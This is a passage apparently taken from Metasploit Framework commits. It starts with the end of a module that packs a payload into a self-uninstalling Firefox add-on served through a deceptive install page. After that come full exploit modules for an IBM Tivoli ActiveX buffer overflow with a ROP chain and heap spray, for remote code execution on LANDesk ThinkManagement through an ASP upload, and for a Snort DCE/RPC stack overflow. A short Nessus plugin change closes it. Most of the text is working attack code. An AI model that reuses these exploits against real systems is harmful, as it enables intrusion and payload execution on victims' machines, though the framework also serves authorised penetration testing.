bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
bootstrap_script << %Q|payload_name="#{payload_name}";|
bootstrap_script << %q|
file.append(xpi_guid);
file.append(payload_name);
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("TmpD", Components.interfaces.nsIFile);
tmp.append(payload_name);
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
file.copyTo(tmp.parent, tmp.leafName);
|
bootstrap_script << payload_script
if (datastore['AutoUninstall'])
bootstrap_script << %q|
try { // Fx < 4.0
Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
} catch (e) {}
try { // Fx 4.0 and later
Components.utils.import("resource://gre/modules/AddonManager.jsm");
AddonManager.getAddonByID(xpi_guid, function(addon) {
addon.uninstall();
});
} catch (e) {}
|
end
bootstrap_script << "}"
zip.add_file('bootstrap.js', bootstrap_script)
zip.add_file(payload_name, payload_file)
zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
<Description about="urn:mozilla:install-manifest">
<em:id>#{xpi_guid}</em:id>
<em:name>#{datastore['ADDONNAME']}</em:name>
<em:version>1.0</em:version>
<em:bootstrap>true</em:bootstrap>
<em:unpack>true</em:unpack>
<em:targetApplication>
<Description>
<em:id>toolkit@mozilla.org</em:id>
<em:minVersion>1.0</em:minVersion>
<em:maxVersion>*</em:maxVersion>
</Description>
</em:targetApplication>
<em:targetApplication>
<Description>
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
<em:minVersion>1.0</em:minVersion>
<em:maxVersion>*</em:maxVersion>
</Description>
</em:targetApplication>
</Description>
</RDF>|)
zip.add_file('overlay.xul', %q|<?xml version="1.0"?>
<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script src="bootstrap.js"/>
<script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
</overlay>|)
print_status(
"Sending xpi to #{cli.peerhost}. "+
"Waiting for user to click 'accept'...")
send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } )
handler( cli )
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
html << %Q|<script>window.location.href="addon.xpi";</script>\n|
html << %Q|</body></html>|
return html
end
end

View File

@ -0,0 +1,263 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:rank => NormalRanking,
:classid => "{84B74E82-3475-420E-9949-773B4FB91771}",
:vuln_test => "RunAndUploadFile",
})
def initialize(info={})
super(update_info(info,
'Name' => "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability in the
Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning
Manager Express for Software Distribution 4.1.1.
The vulnerability is found in the "RunAndUploadFile" method
where the "OtherFields" parameter with user controlled data
is used to build a "Content-Dispoition" header and attach
contents in a insecure way which allows to overflow a buffer
in the stack.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrea Micalizzi aka rgod', # Vulnerability discovery
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0198' ],
[ 'OSVDB', '79735' ],
[ 'BID', '52252' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-040/' ]
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# isig.dll 2.44.282.0
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x800 - code.length',
'ebp' => 0x09090909,
'Ret' => 0x09090909
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x800 - code.length',
'ebp' => 0x09090909,
'Ret' => 0x09090909
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => :jre,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x480',
'ebp' => 0x09090920,
'Ret' => 0x7c375a3d # stackpivot from msvcr71.dll # mov esp, ebp # pop ebp # ret
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 01 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
else
return nil
end
end
def get_payload(t, cli)
if t['Rop'].nil?
code = ""
else
#Fix the stack to avoid anything busted
code = "\x81\xC4\x54\xF2\xFF\xFF"
end
code << payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using JRE ROP")
exec_size = 0xffffffff - code.length + 1
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
exec_size, # Value to NEG
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
code = rop + code
return code
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost.ljust(16)} #{self.shortname} Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Client requesting: #{request.uri}")
p = get_payload(my_target, cli)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch))
js_spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['OffsetShell']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=0; i < 0x1A0; i++) {
heap_obj.alloc(block);
}
JS
js_spray = heaplib(js_spray, {:noobfu => true})
if datastore['OBFUSCATE']
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
js_spray.obfuscate
end
bof = rand_text_alpha(my_target['Offset'])
bof << [my_target['ebp']].pack("V") # ebp
bof << [my_target.ret].pack("V") # eip
html = <<-HTML
<html>
<head>
<script>
#{js_spray}
</script>
</head>
<object classid='clsid:84B74E82-3475-420E-9949-773B4FB91771' id='isig'></object>
<script>
var url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{datastore['SRVPORT']}/tpmx/uploadEG2.do";
var fields = "submit:#{bof};FROM_EMAIL:true;userKey:2";
var flags = "-level5";
msg = isig.RunAndUploadFile(url, fields, flags);
</script>
</html>
HTML
html = html.gsub(/^\t\t/, '')
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
* Vulnerability notes
The Dangerous strcat allows to attach user-controlled contents after
the Content-disposition header:
.text:100040B0 Src = byte ptr -100h
...
.text:100040DD push [ebp+Source] ; Source => User controlled via "fields" param
.text:100040E0 lea eax, [ebp+Src]
.text:100040E6 push eax ; Dest => Local variable where the Content-disposition header
; has been stored
.text:100040E7 call _strcat ; strcat used by this module to overflow
Function isn't protected with stack cookies so get
the control flow is easy by overwriting the saved EIP
on the stack.
=end

View File

@ -0,0 +1,178 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'LANDesk Lenovo ThinkManagement Console Remote Command Execution',
'Description' => %q{
This module can be used to execute a payload on LANDesk Lenovo
ThinkManagement Suite 9.0.2 and 9.0.3.
The payload is uploaded as an ASP script by sending a specially crafted
SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
, via a "RunAMTCommand" operation with the command '-PutUpdateFileCore'
as the argument.
After execution, the ASP script with the payload is deleted by sending
another specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx"
via a "SetTaskLogByFile" operation.
},
'Author' => [
'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'Version' => '$Revision: $',
'Platform' => 'win',
'References' =>
[
['CVE', '2012-1195'],
['CVE', '2012-1196'],
['OSVDB', '79276'],
['OSVDB', '79277'],
['BID', '52023'],
['URL', 'http://www.exploit-db.com/exploits/18622/'],
['URL', 'http://www.exploit-db.com/exploits/18623/']
],
'Targets' =>
[
[ 'LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2', { } ],
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Feb 15 2012'
)
register_options(
[
OptString.new('PATH', [ true, "The URI path of the LANDesk Lenovo ThinkManagement Console", '/'])
], self.class)
end
def exploit
peer = "#{rhost}:#{rport}"
# Generate the ASP containing the EXE containing the payload
exe = generate_payload_exe
asp = Msf::Util::EXE.to_exe_asp(exe)
# htmlentities like encoding
asp = asp.gsub("&", "&amp;").gsub("\"", "&quot;").gsub("'", "&#039;").gsub("<", "&lt;").gsub(">", "&gt;")
uri_path = (datastore['PATH'][-1,1] == "/" ? datastore['PATH'] : datastore['PATH'] + "/")
upload_random = rand_text_alpha(rand(6) + 6)
upload_xml_path = "ldlogon\\#{upload_random}.asp"
soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<RunAMTCommand xmlns="http://tempuri.org/">
<Command>-PutUpdateFileCore</Command>
<Data1>#{rand_text_alpha(rand(4) + 4)}</Data1>
<Data2>#{upload_xml_path}</Data2>
<Data3>#{asp}</Data3>
<ReturnString>#{rand_text_alpha(rand(4) + 4)}</ReturnString>
</RunAMTCommand>
</soap:Body>
</soap:Envelope>
eos
#
# UPLOAD
#
attack_url = uri_path + "landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
print_status("#{peer} - Uploading #{asp.length} bytes through #{attack_url}...")
res = send_request_cgi({
'uri' => attack_url,
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' => {
'SOAPAction' => "\"http://tempuri.org/RunAMTCommand\"",
},
'data' => soap,
}, 20)
if (! res)
print_status("#{peer} - Timeout: Trying to execute the payload anyway")
elsif (res.code < 200 or res.code >= 300)
print_error("#{peer} - Upload failed on #{attack_url} [#{res.code} #{res.message}]")
return
end
#
# EXECUTE
#
upload_path = uri_path + "ldlogon/#{upload_random}.asp"
print_status("#{peer} - Executing #{upload_path}...")
res = send_request_cgi({
'uri' => upload_path,
'method' => 'GET'
}, 20)
if (! res)
print_error("#{peer} - Execution failed on #{upload_path} [No Response]")
return
end
if (res.code < 200 or res.code >= 300)
print_error("#{peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
return
end
#
# DELETE
#
soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetTaskLogByFile xmlns="http://tempuri.org/">
<computerIdn>1</computerIdn>
<taskid>1</taskid>
<filename>../#{upload_random}.asp</filename>
</SetTaskLogByFile>
</soap:Body>
</soap:Envelope>
eos
attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx"
print_status("#{peer} - Deleting #{upload_path} through #{attack_url}...")
res = send_request_cgi({
'uri' => attack_url,
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' => {
'SOAPAction' => "\"http://tempuri.org/SetTaskLogByFile\"",
},
'data' => soap,
}, 20)
if (! res)
print_error("#{peer} - Deletion failed at #{attack_url} [No Response]")
return
elsif (res.code < 200 or res.code >= 300)
print_error("#{peer} - Deletion failed at #{attack_url} [#{res.code} #{res.message}]")
return
end
handler
end
end

View File

@ -0,0 +1,158 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Capture
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Snort 2 DCE/RPC preprocessor Buffer Overflow',
'Description' => %q{
This module allows remote attackers to execute arbitrary code by exploiting the
Snort service via crafted SMB traffic. The vulnerability is due to a boundary
error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,
which may result a stack-based buffer overflow with a specially crafted packet
sent on a network that is monitored by Snort.
Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.
Any host on the Snort network may be used as the remote host. The remote host does not
need to be running the SMB service for the exploit to be successful.
},
'Author' =>
[
'Neel Mehta', #Original discovery (IBM X-Force)
'Carsten Maartmann-Moe <carsten[at]carmaa.com>' #Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'References' =>
[
[ 'OSVDB', '67988' ],
[ 'CVE', '2006-5276' ],
[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 390,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Targets' =>
[
[
'Windows Universal',
{
'Ret' => 0x00407c01, # JMP ESP snort.exe
'Offset' => 289 # The number of bytes before overwrite
}
],
],
'Privileged' => true,
'DisclosureDate' => 'Feb 19 2007',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(139),
OptAddress.new('RHOST', [ true, 'A host on the Snort-monitored network' ]),
OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])
], self.class)
deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
end
def exploit
open_pcap
shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)
p = buildpacket(shost, rhost, rport.to_i)
print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")
capture_sendto(p, rhost)
handler
end
def buildpacket(shost, rhost, rport)
p = PacketFu::TCPPacket.new
p.ip_saddr = shost
p.ip_daddr = rhost
p.tcp_dport = rport
p.tcp_flags.psh = 1
p.tcp_flags.ack = 1
# SMB packet borrowed from http://exploit-db.com/exploits/3362
# NetBIOS Session Service, value is the number of bytes in the TCP segment,
# must be greater than the total size of the payload. Statically set.
header = "\x00\x00\xde\xad"
# SMB Header
header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
header << "\x00\x08\x30\x00"
# Tree Connect AndX Request
header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
header << "\x3f\x3f\x3f\x3f\x3f\x00"
# NT Create AndX Request
header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
header << "\x63\x00\x00\x00"
# Write AndX Request #1
header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
header << "\x2b\x10\x48\x60\x02\x00\x00\x00"
# Write AndX Request #2
header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
header << "\x00\x48\x00\x00\x00\xff\x01"
tail = "\x00\x00\x00\x00\x49\x00\xee"
# Return address
eip = [target['Ret']].pack('V')
# Sploit
sploit = make_nops(10)
sploit << payload.encoded
# Padding (to pass size check)
sploit << make_nops(1)
# The size to be included in Write AndX Request #2, including sploit payload
requestsize = [(sploit.size() + target['Offset'])].pack('v')
# Assemble the parts into one package
p.payload = header << requestsize << tail << eip << sploit
p.recalc
p
end
end

View File

@ -112,6 +112,7 @@ module Msf
def cmd_nessus_save(*args)
#if we are logged in, save session details to nessus.yaml
@nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml"
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_save")
@ -319,7 +320,8 @@ module Msf
end
def cmd_nessus_connect(*args)
# Check if config file exists and load it
@nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml"
if ! args[0]
if File.exist?("#{@nessus_yaml}")
lconfig = YAML.load_file("#{@nessus_yaml}")